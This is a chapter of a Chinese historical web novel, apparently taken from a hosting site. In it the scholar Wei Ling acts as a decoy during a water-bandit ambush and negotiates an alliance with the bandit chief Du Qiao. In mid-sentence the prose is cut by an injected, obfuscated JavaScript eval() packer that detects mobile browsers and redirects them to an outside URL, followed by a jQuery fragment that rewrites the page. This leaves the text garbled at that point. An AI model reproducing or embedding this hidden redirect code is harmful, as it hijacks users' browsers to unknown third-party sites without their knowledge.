温月惭的手揪紧了卫陵的衣衫,一颗心在胸口砰砰直跳,怎么都停不下来。
那纤长的眼睫微微颤动着。
她轻轻呼出一口气,松开卫陵,转头看了那火光跳动的窗口,眼神慢慢变得坚定。
“走吧。”
她俯身捡起书箱,拉住卫陵的手腕,往舷梯处跑去。
梯下有众人离开时为他们留下的小艇,二人快速上了艇,向靠在河畔阴影处的福船划去。
身后的楼船已经陷入火海之中,时不时从中传出惨烈的叫声。温月惭没有回头,只是等着小艇离福船越来越近。
“持白刃的水匪所剩无几了,但前面状况不太好,恐怕这边很快会来下一波人。”
顾重晋亲自上来搭住卫陵的胳膊,将他拉上船。
“他们在上游,已经占据上风,又是情报先达,还是先避退,再做打算。”
卫陵一边说着,一边扭头将袖口递给温月惭,让她借力上船。
“卫先生可有什么办法。”
“我们现在处在绗河中段,狭窄河道较多,若要暂避实则对我们是有利的。既然无法前行,那就后退。”
“恐怕会引来追击。”
卫陵沉思稍许。
“以我为首,假意突围。”
顾重晋愣了愣:“你去吸引火力?”
“是。”
卫陵转过身:“他们耗费这么多心思,绝不是只为劫财,那么看到有舰船意图突围时,一定会首先将该船拦下。你们可以趁机避退,待到转入狭窄河道时,夜黑风高,水匪忧心被伏击,今夜会暂且放弃追击。”
“你会被俘。这些匪徒的手段,你不知道吗?”
“我大概猜得到,他们是为了什么;既然拿得住他们的七寸,便不必忧心。”
他目光扫过温月惭:“今夜脱险后,不要耽搁,即刻安排其他路径送殿下回京,求援。”
温月惭攥了攥衣角,看着男人转身要下船,嘴还是比脑子快了一步。
“卫居远。”
卫陵停下动作,转头看向她。
她嘴唇开合了几回,看着前方战况焦灼,最后只憋出一句:“我看那鹅挺喜欢你的,你早点回来,我怕别人照顾不好它。”
顾重晋瞥了她一眼,立即离开派人去向主舰传信。
卫陵脸上的神情空白了一瞬,随后染上点细微的笑意。
“担心我?”
温月惭像是被踩了尾巴的猫,立刻炸了毛,冷笑着:“我看你这件衣服是蝉翼纱的,不便宜吧。你要是不回来,我正好就昧下了,你自己看着办吧!”
男人整个转了过来,故意逗她似的:“你上辈子自己说的,死都不会放过我,那我要是回不来,岂不是正合你意?”
“那你也得死在我手上才行;那帮杂碎算什么东西,你要是被他们弄死了,便宜了他们,也便宜了你。”
温月惭拢了拢那件青色的外衫。
已经有快艇靠近福船来接卫陵,男人眼底情绪晦暗不明,缠绕在温月惭身上。半晌,他轻笑一声:“知道了。”
男人乘船走远,前方再次传来沉闷的鼓声,船队的快艇迅速变换队形,向后方退去。
一艘福船从主舰后绕了出来,行驶到最前方,整个阵型像是利箭的箭尖,锋利无双。
角声冲破天际,前方舰队如离弦之箭,霎时冲了出去。
箭尖冲散了水匪的阵型,直刺其心腹。炮船开始向冲锋船艇发动炮击,可是这支队伍移动极快,待到靠近之时,机炮已经无法起用。
福船撞入水匪阵型后方,却依旧一刻未停,它身后的快艇迅速向两边散开,将水匪的沙船围住,为福船开辟出一条坦荡大路。
“他们要突围!”
“拦住福船!”
水匪快艇调转船头,追赶福船而去。
卫陵跪坐在船舱中,听着外面的声音,轻声吐出一个字。
“慢。”
福船速度渐缓,水匪很快便从侧翼包抄而来,拦在了福船正前方。
水面上暂且安静了下来,那些水匪始终没有上船,卫陵等了许久,才听见了外面的一阵骚动。
“舵主,这上面应该是他们的头子和那个告状的小子,想先跑为上。”
卫陵抬眼,船舱中进来一个男人,看着倒是很斯文。
这人见着卫陵的一瞬,眼中闪过一丝惊诧。
卫陵微微一笑。
“这位就是舵主了。”
“不要伤人,我这有笔生意,舵主做不做?”
船身轻飘飘地左右摇晃着,那位被称作“舵主”的男人仰起头,露出下巴上泛青的胡茬。
那眼神冷得像是在看一头待宰的牲畜。
半晌,他转过身,只丢下三个字。
“做掉他。”
站在他身后的炮头应声往前,掂了掂手中的刀。
卫陵形状漂亮的眼睛轻轻抖了抖。
“死了,剥了皮,给他们送过去。”
炮头举起刀,正要往下劈去,卫陵手中折扇往上一抬,利器破空声霎时响起。
一枚毒镖扎穿了炮头的脖颈。
他壮硕的身躯摇摇晃晃,手中的刀砰的一声落在地上。
舵主闻声扭头,在看清炮头脖子上的血洞后整个人如遭雷击般一怔,重新看向卫陵。
卫陵放下手中扇子。
“给人做刀也没什么意思,死了也算解脱。”
舵主看向他的眼神里多了几分深意。他缓步上前,抽出腰间短刀,撂在了桌上。
“继续说。”
卫陵斜眼看着那把刀。
“前堵后劫,先劫辎重,再攻楼船,对船队了如指掌。”
他接着道:“我们刚离开衢州官渡一日,尚未到下一个水驿,在此处堵住官船,不会有水师支援;对船队行进路线,时间一清二楚。”
“辎重船上多为物资和金银,你的人登船却对这些东西视若无睹,只管楼船,明显不为劫财,而是为特定目标而来。”
他抬眼:“这趟行程有些特殊,也就不难猜你们求的是什么。”
“舵主,为京都哪位大人做事,替哪位大人灭口?”
舵主嗤笑一声,撩袍在卫陵对面坐下:“小子,知道的太多,也未必是什么好事。”
卫陵将扇子收入袖口:“怎么称呼?”
“杜乔。”
“杜舵主。”
卫陵点点头:“虽为湖寇,装备却精良,舵主和水师交往密切,应是深得那位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367920|183895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大人信重。”
“祸兮福之所倚,福兮祸之所伏,舵主这笔买卖,亏。”
“哦?”
杜乔毫无顾忌地拉过一旁的茶壶:“怎么说?”
“此地已经临近京都,不是下游的湖口,临海,因而水上匪患并不猖獗;护送太子的船队,精良的水师,在此处遇袭遭受重创,说不是刻意为之,没人会信。”
杜乔举起压手杯,热气氤氲在他面前:“那又如何,就算有疑,还能疑到我头上?”
“太子遇袭,水匪可敌天子之师,这二者放在一起,足以掀起一阵腥风血雨。不管你们之间有什么互利共赢的交易,朝廷若决意追究此事,查你,比保你划算得多。”
“顺藤摸瓜,也是要轮到他们的。”
“最多追究到和你有关的水师。只要你现有的一切,都不是他们直接给的,他们就有办法和你划清界限,再踩着你,往上走一步。”
杜乔摩挲着杯身:“我可以指控他们。”
“他人拿着确凿的证据将你绳之以法,你盛怒之下反称其为共谋,这不是指控,是攀咬。”
卫陵冷着脸看他:“舵主问了这么多,心里也不踏实吧。”
“殿下可以给你一条路走。”
杜乔冷笑:“你们这帮京都人比猴都精,能有这么好心?”
“伪造成水匪截杀袭击船队,杀了陈穹嘉,让曲苧案不能继续查下去,这多麻烦。你要这个人,我们给。”
杜乔眼中蒙上一层疑色。
“只是这人对殿下也有用,要细细审过,才能交人。”
“你要什么?”
“舵主背后是谁?殿下要他的底细。”
杜乔嗤了一声,接着笑了起来:“你们殿下真是会做买卖。一条贱命,就想要换这么多?”
“人为利益驱逐。”
卫陵摸上刀尖,将短刀掉了个个儿,将尖端指向杜乔。
“他能随时要了舵主的命,舵主面对他就只能束手待擒,当真甘心?”
“你是江湖人,应该知道,多个朋友多条路,你我无冤无仇,为何不能联手?他日若有人要对舵主下杀手,有殿下捏着他的把柄,他总要再多想想。”
“今夜船队若是覆灭,你就是砧板上的鱼肉,任人宰割。与殿下联手,往后你的买卖照常做。舵主,做个决断吧。”
常年在水上的生活造就了杜乔眼中那份令人心底发寒的杀意,他盯着卫陵,忽地哼了一声,握上了刀尖。
“朋友。”
他将这两个字念得很重。
“何必刀剑相向?”
卫陵顺势放下短刀:“我留下作质,舵主想好了,后退三里,以示诚意。”
舱门外突然传来急促的敲门声。
“舵主,对面舰队后撤了!要追吗?”
杜乔眼中兴奋的光一闪即逝:“告诉我,你是谁?”
“前任首辅费如通,是我老师。”
杜乔松开刀尖,往后一退:“传令,后撤三里!”
他撑着桌面靠近卫陵:“我会向你家殿下传信,明日此地,叫他与我面谈,顺便把人带来。”
“方圆十里内的河道我都已封锁。”
“我们慢慢谈,好好谈,谁都别想着逃。”